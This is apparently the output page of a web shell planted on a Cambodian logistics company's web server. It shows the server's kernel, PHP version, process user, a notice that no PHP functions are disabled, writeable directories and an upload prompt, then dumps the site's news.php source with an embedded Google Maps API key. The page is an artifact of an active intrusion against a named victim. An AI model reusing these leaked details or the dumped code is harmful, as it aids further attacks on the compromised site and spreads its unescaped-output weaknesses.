Sh3ll
OdayForums


Server : Apache
System : Linux server1.cgrithy.com 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : nobody ( 99)
PHP Version : 8.1.23
Disable Function : NONE
Directory :  /home/dnlcambodia/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/dnlcambodia/public_html/news.php
<?php
// Start or resume the session
session_start();
?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8" />
    <title>News</title>
    <meta name="description" content="DNL" />
    <meta name="keywords" content="cargo, clean, contractor, corporate, freight, industry, localization, logistics, page builder, shipment, transport, transportation, truck, trucking" />
    <meta name="author" content="Themexriver" />
    <link rel="shortcut icon" href="assets/img/logo/logo3.png" type="image/x-icon" />
    <!-- Mobile Specific Meta -->
    <meta name="viewport" content="width=device-width, initial-scale=1" />

    <link rel="stylesheet" href="assets/css/bootstrap.min.css" />
    <link rel="stylesheet" href="assets/css/fontawesome-all.css" />
    <link rel="stylesheet" href="assets/css/flaticon.css" />
    <link rel="stylesheet" href="assets/css/animate.css" />
    <link rel="stylesheet" href="assets/css/nice-select.css" />
    <link rel="stylesheet" href="assets/css/video.min.css" />
    <link rel="stylesheet" href="assets/css/animated-slider.css" />
    <link rel="stylesheet" href="assets/css/jquery.mCustomScrollbar.min.css" />
    <link rel="stylesheet" href="assets/css/slick.css" />
    <link rel="stylesheet" href="assets/css/rs6.css" />
    <link rel="stylesheet" href="assets/css/slick-theme.css" />
    <link rel="stylesheet" href="assets/css/style.css" />
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <style>
        @font-face {
            font-family: 'Khmer OS Siemreap';
            src: url('assets/css/KhmerOSSiemreap.ttf') format('truetype');
        }
       
        .truncate-text {
            max-height: 5em;
            /* Adjust the value as needed for 5 lines */
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
        }
        .ft-blog-feed-title-text h3{
            font-family: 'Khmer OS Siemreap';
        }
        .recent-blog-text a ,.ft-blog-feed-title-text {
            font-family: 'Khmer OS Siemreap';
        }
        .zoom-effect {
            transition: transform 0.5s;
            transition: transform 0.5s, box-shadow 0.5s;

        }

        .zoom-effect:hover {
            transform: scale(1.02);
            box-shadow: 0 0 20px rgba(0, 255, 0, 0.5);
            /* Green shadow when hovering */
        }

       
        .ft-blog-post-feed-innerbox {
            display: flex;
            flex-wrap: wrap;
            justify-content: space-between;
            margin-bottom: 30px;
           
        }

        .ft-blog-post-feed-box {
            width: calc(50% - 15px);
            /* 50% width with margin */
            margin-bottom: 30px;
            background-color: #f4f4f4;
            border-radius: 5px solid gray;
            /* Margin between posts, adjust as needed */
        }

        @media (max-width: 768px) {
            .ft-blog-post-feed-box {
                width: 100%;
                /* Full width on smaller screens */
            }
        }

        .pagination {
            display: flex;
            justify-content: center;
            margin-top: 20px;
        }

        .page {
            padding: 5px 10px;
            margin: 0 2px;
            border: 1px solid #ddd;
            color: white;
            /* Change text color to white */
            text-decoration: none;
            border-radius: 3px;
            background-color: #00570e;
        }

        .page:hover {
            background-color: #0d941a;
            color: #f4f4f4;
        }

        .current {
            padding: 5px 10px;
            margin: 0 2px;
            border: 1px solid #333;
            background-color: #333;
            color: white;
            /* Change text color to white */
            border-radius: 3px;
        }

        .ellipsis {
            margin: 0 5px;
            color: #333;
        }
    </style>
</head>

<body>
    <!-- <div id="preloader"></div> -->
    <div class="up">
        <a href="#" class="scrollup text-center"><i class="fas fa-chevron-up"></i></a>
    </div>
    <!-- Start of header section
	============================================= -->
    <?php include "./hearder-2.php" ?>
    <!-- End of header section
	============================================= -->

    <!-- Start of Breadcrumb section
	============================================= -->
    <section id="ft-breadcrumb" class="ft-breadcrumb-section position-relative" data-background="assets/img/bg/bread-bg.jpg">
        <span class="background_overlay"></span>
        <span class="design-shape position-absolute"><img src="assets/img/shape/tmd-sh.png" alt="" /></span>
        <div class="container">
            <div class="ft-breadcrumb-content headline text-center position-relative">
                <h2>News</h2>
                <div class="ft-breadcrumb-list ul-li">
                    <ul>
                        <li><a href="index.php">Home</a></li>
                        <li>Latest News</li>
                    </ul>
                </div>
            </div>
        </div>
    </section>
    <!-- End of Breadcrumb section
	============================================= -->

    <!-- Start of blog post feed section
	============================================= -->
    <section id="ft-blog-post-feed" class="ft-blog-post-feed-section page-padding">
        <div class="container">
            <div class="row">
                <div class="col-lg-9">
                    <div class="ft-side-bar-widget search-widget-area headline ul-li-block">
                        <div class="search-widget position-relative">
                            <input type="text" id="searchInput" placeholder="Search." />
                        </div>
                    </div>
                    <div id="searchResults"></div>
                    <script>
                        // Function to fetch search results
                        function fetchSearchResults(query) {
                            $.ajax({
                                url: 'search.php',
                                type: 'GET',
                                data: {
                                    search: query
                                },
                                success: function(response) {
                                    $('#searchResults').html(response);
                                }
                            });
                        }

                        // Trigger search on keyup event
                        $('#searchInput').on('keyup', function() {
                            var query = $(this).val();
                            if (query.length > 0) {
                                fetchSearchResults(query);
                            } else {
                                $('#searchResults').html('');
                            }
                        });
                    </script>
                    <div class="ft-blog-post-feed-content">
                        <?php
                        include './dnl_dashboard/PHP/config/db_conn.php';



                        // Pagination
                        $postsPerPage = 6; // Displaying six posts per page (3 rows with 2 posts each)
                        $page = isset($_GET['page']) ? $_GET['page'] : 1;
                        $offset = ($page - 1) * $postsPerPage;

                        // Count total number of posts
                        $sqlTotalPosts = "SELECT COUNT(*) AS totalPosts FROM posts";
                        $resultTotalPosts = $conn->query($sqlTotalPosts);
                        $rowTotalPosts = $resultTotalPosts->fetch_assoc();
                        $totalPosts = $rowTotalPosts['totalPosts'];

                        // Calculate total number of pages
                        $totalPages = ceil($totalPosts / $postsPerPage);

                        // Order the posts by date in descending order and then by ID in descending order
                        $sql = "SELECT id, title, content, date, posted_by, tag, image FROM posts ORDER BY date DESC, id DESC LIMIT $offset, $postsPerPage";
                        $result = $conn->query($sql);

                        // Check if there are rows in the result
                        if ($result->num_rows > 0) {
                            for ($i = 0; $i < 3; $i++) { // Loop for three rows
                                echo '<div class="ft-blog-post-feed-innerbox">'; // Start row container
                                for ($j = 0; $j < 2; $j++) { // Two posts per row
                                    if ($row = $result->fetch_assoc()) {
                                        echo '<div class="ft-blog-post-feed-box">'; // Start post box
                                        echo '<a href="preview?id=' . $row["id"] . '">';
                                        echo '<div class="ft-blog-post-feed-img">';
                                        echo '<img class="zoom-effect" src="./dnl_dashboard/' . $row["image"] . '" alt="" />';
                                        echo '</div>';
                                        echo '</a>';
                                        echo '<div class="ft-blog-post-feed-text-wrapper headline pera-content">';
                                        echo '<div class="blog-meta">';
                                        echo '<a href="#"><i class="fas fa-user"></i> ' . $row["posted_by"] . '</a>';
                                        echo '<a href="#"><i class="far fa-clock"></i> ' . $row["date"] . '</a>';
                                        echo '<a href="tag?tag=' . $row["tag"] . '"><i class="fas fa-tag"></i> ' . $row["tag"] . '</a>';
                                        echo '</div>';
                                        echo '<div class="ft-blog-feed-title-text">';
                                        echo '<h3>';

                                        $title = $row["title"];
                                        // Limit the title to 100 characters
                                        $title = (mb_strlen($title, 'UTF-8') > 50) ? mb_substr($title, 0, 50, 'UTF-8') . '...' : $title;

                                        $content = $row["content"];
                                        // Limit the content to 500 characters
                                        $content = (mb_strlen($content, 'UTF-8') > 150) ? mb_substr($content, 0, 150, 'UTF-8') . '...' : $content;

                                        echo '<h3><a href="preview?id=' . $row["id"] . '">' . $title . '</a></h3>';
                                        echo '<p>' . $content . '</p>';
                                        echo '</p>';
                                        echo '</div>';
                                        echo '<div class="ft-btn-2">';
                                        // echo '<a href="preview?id=' . $row["id"] . '">';
                                        // echo '<i class="icon-first flaticon-right-arrow"></i>';
                                        // echo '<span>Read More</span>';
                                        echo '</a>';
                                        echo '</div>';
                                        echo '</div>';
                                        echo '</div>'; // End post box
                                    }
                                }
                                echo '</div>'; // End row container
                            }

                            // Pagination links
                            // Pagination links
                            // Pagination links
                            echo '<div class="pagination">';
                            if ($page > 1) {
                                echo '<a href="?page=' . ($page - 1) . '" class="page" style="color: white;">Previous</a>';
                            }
                            if ($totalPages > 2) {
                                for ($i = 1; $i <= $totalPages; $i++) {
                                    if ($i == $page) {
                                        echo '<a href="?page=' . $i . '" class="page current-page" style="background-color: red; color: white;">' . $i . '</a>';
                                    } else {
                                        echo '<a href="?page=' . $i . '" class="page" style="color: white;">' . $i . '</a>';
                                    }
                                }
                            }
                            if ($page < $totalPages) {
                                echo '<a href="?page=' . ($page + 1) . '" class="page" style="color: white;">Next</a>';
                            }
                            echo '</div>';
                        }

                        // Close the database connection
                        $conn->close();
                        ?>



                    </div>
                </div>
                <div class="col-lg-3">
                    <div class="ft-side-bar-wrapper top-stikcy">
                        <div class="ft-side-bar-widget-area">
                            <?php
                            include './dnl_dashboard/PHP/config/db_conn.php';

                            // SQL query to get the count of posts for each tag
                            $sql = "SELECT tag, COUNT(*) AS count FROM posts GROUP BY tag";
                            $result = $conn->query($sql);

                            // Initialize an empty array for tag counts
                            $tagCounts = [];

                            // Check if there are any results
                            if ($result->num_rows > 0) {
                                // Loop through the results and store the tag counts in the array
                                while ($row = $result->fetch_assoc()) {
                                    $tagCounts[$row['tag']] = $row['count'];
                                }
                            }

                            // Close the database connection
                            $conn->close();
                            ?>

                            <div class="ft-side-bar-widget headline ul-li-block">
                                <div class="category-widget">
                                    <h3 class="widget-title position-relative">Categories</h3>
                                    <ul>
                                        <?php
                                        // Sort the $tagCounts array by count in descending order
                                        arsort($tagCounts);

                                        // Get the top three categories
                                        $topCategories = array_slice($tagCounts, 0, 3, true);

                                        // Display the top three categories
                                        foreach ($topCategories as $tag => $count) {
                                            echo '<li>';
                                            echo '<a href="tag?tag=' . urlencode($tag) . '">' . htmlspecialchars($tag) . ' <span>' . $count . '</span></a>';
                                            echo '</li>';
                                        }
                                        ?>
                                    </ul>
                                </div>
                            </div>



                            <div class="ft-side-bar-widget headline ul-li-block">
                                <div class="recent-news-widget">
                                    <h3 class="widget-title position-relative">Recent News</h3>
                                    <?php
                                    // Include your database configuration file
                                    include './dnl_dashboard/PHP/config/db_conn.php';

                                    // SQL query to select recent news
                                    $sql = "SELECT id, title, image, date FROM posts ORDER BY date DESC LIMIT 3";
                                    $result = $conn->query($sql);

                                    // Check if there are any results
                                    if ($result->num_rows > 0) {
                                        // Loop through the results and output the HTML markup
                                        while ($row = $result->fetch_assoc()) {
                                            $title = $row["title"];
                                            // Limit the title to 100 characters
                                            $title = (mb_strlen($title, 'UTF-8') > 40) ? mb_substr($title, 0, 40, 'UTF-8') . '...' : $title;
                                            echo '<div class="recent-blog-img-text clearfix">';
                                            echo '<div class="recent-blog-img float-left">';
                                            echo '<img src="./dnl_dashboard/' . $row["image"] . '" alt="" />';
                                            echo '</div>';
                                            echo '<div class="recent-blog-text headline">';
                                            echo '<h3><a href="preview?id=' . $row["id"] . '">' . $title . '</a></h3>';
                                            echo '<span><i class="far fa-calendar-alt"></i> ' . $row["date"] . '</span>';
                                            echo '</div>';
                                            echo '</div>';
                                        }
                                    } else {
                                        echo "No recent news found.";
                                    }

                                    // Close the database connection

                                    ?>
                                </div>
                            </div>

                    
                            <div class="ft-side-bar-widget headline ul-li-block">
                                <div class="tag-widget">
                                    <h3 class="widget-title position-relative">Archives</h3>
                                    <ul>
                                        <li><a href="tag.php?category=business">Business</a></li>
                                        <li><a href="tag.php?category=cargo">Cargo</a></li>
                                        <li><a href="tag.php?category=freight">Freight</a></li>
                                        <li><a href="tag.php?category=truck">Truck</a></li>
                                        <li><a href="tag.php?category=ship">Ship</a></li>
                                    </ul>
                                </div>
                            </div>

                            <!-- <div class="ft-side-bar-add headline ul-li-block">
								<a href="contact.php">
									<img src="assets/img/bg/add-bg.png" alt="">
								</a>
							</div> -->
                        </div>
                    </div>
                </div>
            </div>

        </div>

    </section>
    <!-- End of blog post section
	============================================= -->

    <!-- Start of Footer   section
	============================================= -->
    <footer id="ft-footer-2" class="ft-footer-section-2" data-background="assets/img/bg/f-bg.png">
        <div class="ft-footer-widget-wrapper-2 p-5">
            <div class="container">
                <div class="row">
                    <div class="col-lg-3 col-md-6">
                        <div class="ft-footer-widget ul-li-block headline pera-content">
                            <div class="logo-widget">
                                <div class="site-logo">
                                    <a href="#"><img src="assets/img/logo/dnl01-1@2x.png" alt="" /></a>
                                </div>
                                <div class="ft-footer-address">
                                    <!-- <span>DNL Logistics #133, Street 178, Phnom Penh, Cambodia</span> -->
                                    <span> www.dnl.com.kh</span>
                                    <span>Email: info@dnlglobe.com</span>
                                    <span>Phone:+855 23 885 335 </span>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="col-lg-3 col-md-6">
                        <div class="ft-footer-widget ul-li-block headline pera-content">
                            <div class="menu-widget">
                                <h3 class="widget-title">Our Services</h3>
                                <ul>
                                    <li><a href="#">Potential dry port and SEZ investment
                                        </a></li>
                                    <li><a href="#">Domestic Transportation</a></li>
                                    <li><a href="#">International Freight Sea, Land, Air </a></li>
                                    <li><a href="#">Application of C/O, form D & E</a></li>
                                    <li><a href="#">Application of QIP (Application CDC)</a></li>
                                    <li><a href="#">Import & Export Customs formalities</a></li>
                                    <li><a href="#">Project Working
                                        </a></li>
                                </ul>
                            </div>
                        </div>
                    </div>
                    <div class="col-lg-3 col-md-6">
                        <div class="ft-footer-widget ul-li-block headline pera-content">
                            <div class="menu-widget">
                                <h3 class="widget-title">Quick Links</h3>
                                <ul>
                                    <li><a href="index.php">Home</a></li>
                                    <li><a href="about.php">About us</a></li>
                                    <li><a href="#">Company History</a></li>
                                    <li><a href="#">Company Events</a></li>
                                    <li><a href="activities.php">Supply Chain Managment</a></li>
                                    <li><a href="#">Gallery</a></li>
                                </ul>
                            </div>
                        </div>
                    </div>
                    <div class="col-lg-3 col-md-6">
                        <div class="ft-footer-widget ul-li-block headline pera-content">
                            <iframe src="https://www.facebook.com/plugins/page.php?href=https%3A%2F%2Fwww.facebook.com%2Fdynamicnetworklogisticscoltd&tabs=timeline&width=340&height=500&small_header=true&adapt_container_width=false&hide_cover=false&show_facepile=false&appId=697689201745453" width="340" height="300" style="border:none;overflow:hidden" scrolling="no" frameborder="0" allowfullscreen="true" allow="autoplay; clipboard-write; encrypted-media; picture-in-picture; web-share"></iframe>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <div class="ft-footer-copywrite-2 text-center">
            <span>Copyright @ 2024 DNL Dynamic Network Logistics.All Rights Reserved</span>
        </div>
    </footer>
    <!-- End of FAQ why choose  section
	============================================= -->

    <!-- For Js Library -->
    <script src="assets/js/jquery.min.js"></script>
    <script src="assets/js/bootstrap.min.js"></script>
    <script src="assets/js/popper.min.js"></script>
    <script src="assets/js/jquery.magnific-popup.min.js"></script>
    <script src="assets/js/appear.js"></script>
    <script src="assets/js/slick.js"></script>
    <script src="assets/js/jquery.counterup.min.js"></script>
    <script src="assets/js/waypoints.min.js"></script>
    <script src="assets/js/jquery.nice-select.min.js"></script>
    <script src="assets/js/jquery.mCustomScrollbar.concat.min.js"></script>
    <script src="assets/js/wow.min.js"></script>
    <script src="assets/js/rbtools.min.js"></script>
    <script src="assets/js/jquery.cssslider.min.js"></script>
    <script src="assets/js/rs6.min.js"></script>
    <script src="assets/js/knob.js"></script>
    <script src="assets/js/script.js"></script>
    <script src="assets/js/gmaps.min.js"></script>
    <script src="https://maps.googleapis.com/maps/api/js?key=AIzaSyDk2HrmqE4sWSei0XdKGbOMOHN3Mm2Bf-M&ver=2.1.6"></script>
</body>

</html>

ZeroDay Forums Mini